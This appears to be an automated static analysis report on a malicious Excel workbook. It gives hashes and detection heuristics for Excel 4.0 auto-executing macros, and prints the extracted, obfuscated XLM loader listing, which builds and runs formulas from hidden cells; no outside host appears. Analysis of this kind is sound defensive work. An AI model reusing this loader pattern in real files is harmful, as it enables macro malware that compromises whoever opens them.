Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 48b4a1bf3d7c4442…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:33:48 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 4a1e066e665870b166a9c35b8e4d53fb SHA-1: b6b4722e1aaf36493333eda0d652a2099b6657fa SHA-256: 48b4a1bf3d7c444273e2060e7d358252455602b1c5c2b334b0a5858bea231878
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6425 bytes
SHA-256: b042cd5a34743ea677aaf701a9bd5f25b85a2bb084bf8b25d89865cdb9190953
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sAlD
' 0018     21 LABEL : Cell Value, String Constant - AcKYov len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G185 
' 0018     25 LABEL : Cell Value, String Constant - BXkbgaaNPg len=0 
' 0018     21 LABEL : Cell Value, String Constant - diMlHR len=0 
' 0018     21 LABEL : Cell Value, String Constant - FSOwxC len=0 
' 0018     21 LABEL : Cell Value, String Constant - gYjpLH len=0 
' 0018     24 LABEL : Cell Value, String Constant - hNoECCYnF len=0 
' 0018     26 LABEL : Cell Value, String Constant - htpQVSRaPJJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - jMxkiS len=0 
' 0018     22 LABEL : Cell Value, String Constant - JQwLEEx len=0 
' 0018     26 LABEL : Cell Value, String Constant - KPfylamOzMx len=0 
' 0018     25 LABEL : Cell Value, String Constant - KQBIqBOstL len=0 
' 0018     24 LABEL : Cell Value, String Constant - qNVhRzius len=0 
' 0018     23 LABEL : Cell Value, String Constant - slvtwkKr len=0 
' 0018     23 LABEL : Cell Value, String Constant - vJqwlwLn len=0 
' 0018     27 LABEL : Cell Value, String Constant - WEjWjKGsJGSG len=0 
' 0018     22 LABEL : Cell Value, String Constant - wSJDpct len=0 
' 0018     24 LABEL : Cell Value, String Constant - wYCenZVoR len=0 
' 0018     25 LABEL : Cell Value, String Constant - xHAkaAimcj len=0 
' 0018     21 LABEL : Cell Value, String Constant - zGzTMO len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZSKkyCZqnt len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  sAlD,G94,"SET.NAME("htpQVSRaPJJ",VALUE("0"))",""
'  sAlD,G99,"SET.NAME("BXkbgaaNPg",htpQVSRaPJJ)",""
'  sAlD,G104,"SET.NAME("AcKYov",htpQVSRaPJJ)",""
'  sAlD,G108,"SET.NAME("slvtwkKr",COUNTA(wYCenZVoR))",""
'  sAlD,G113,"SET.NAME("jMxkiS",COUNTA(KPfylamOzMx))",""
'  sAlD,G118,[],""
'  sAlD,G121,"SET.NAME("vJqwlwLn","")",""
'  sAlD,G124,"BXkbgaaNPg",""
'  sAlD,G126,"SET.NAME("zGzTMO",HLOOKUP("*",wYCenZVoR,BXkbgaaNPg,FALSE))",""
'  sAlD,G128,"JQwLEEx",""
'  sAlD,G130,"SET.NAME("WEjWjKGsJGSG",htpQVSRaPJJ)",""
'  sAlD,G135,[],""
'  sAlD,G139,"WEjWjKGsJGSG",""
'  sAlD,G141,"gYjpLH",""
'  sAlD,G143,"diMlHR",""
'  sAlD,G147,"wSJDpct",""
'  sAlD,G152,"SET.NAME("FSOwxC",VALUE(HLOOKUP("*",KPfylamOzMx,wSJDpct,FALSE)))",""
'  sAlD,G156,"KQBIqBOstL",""
'  sAlD,G158,"vJqwlwLn",""
'  sAlD,G161,"AcKYov",""
'  sAlD,G165,NEXT(),""
'  sAlD,G167,"ZSKkyCZqnt",""
'  sAlD,G170,"SET.NAME("f",INT(T(FORMULA(T(vJqwlwLn)&"",""&T(ZSKkyCZqnt)))))",""
'  sAlD,G173,"hNoECCYnF",""
'  sAlD,G177,NEXT(),""
'  sAlD,G181,RETURN(),""
'  sAlD,G211,"SET.NAME("qNVhRzius",G94)",""
'  sAlD,G213,"wYCenZVoR",""
'  sAlD,G218,"SET.NAME("KPfylamOzMx",R53C15)",""
'  sAlD,G222,"SET.NAME("hNoECCYnF",229)",""
'  sAlD,G224,"SET.NAME("xHAkaAimcj",7)",""
'  sAlD,G228,qNVhRzius(),""
'  sAlD,G229,HALT(),""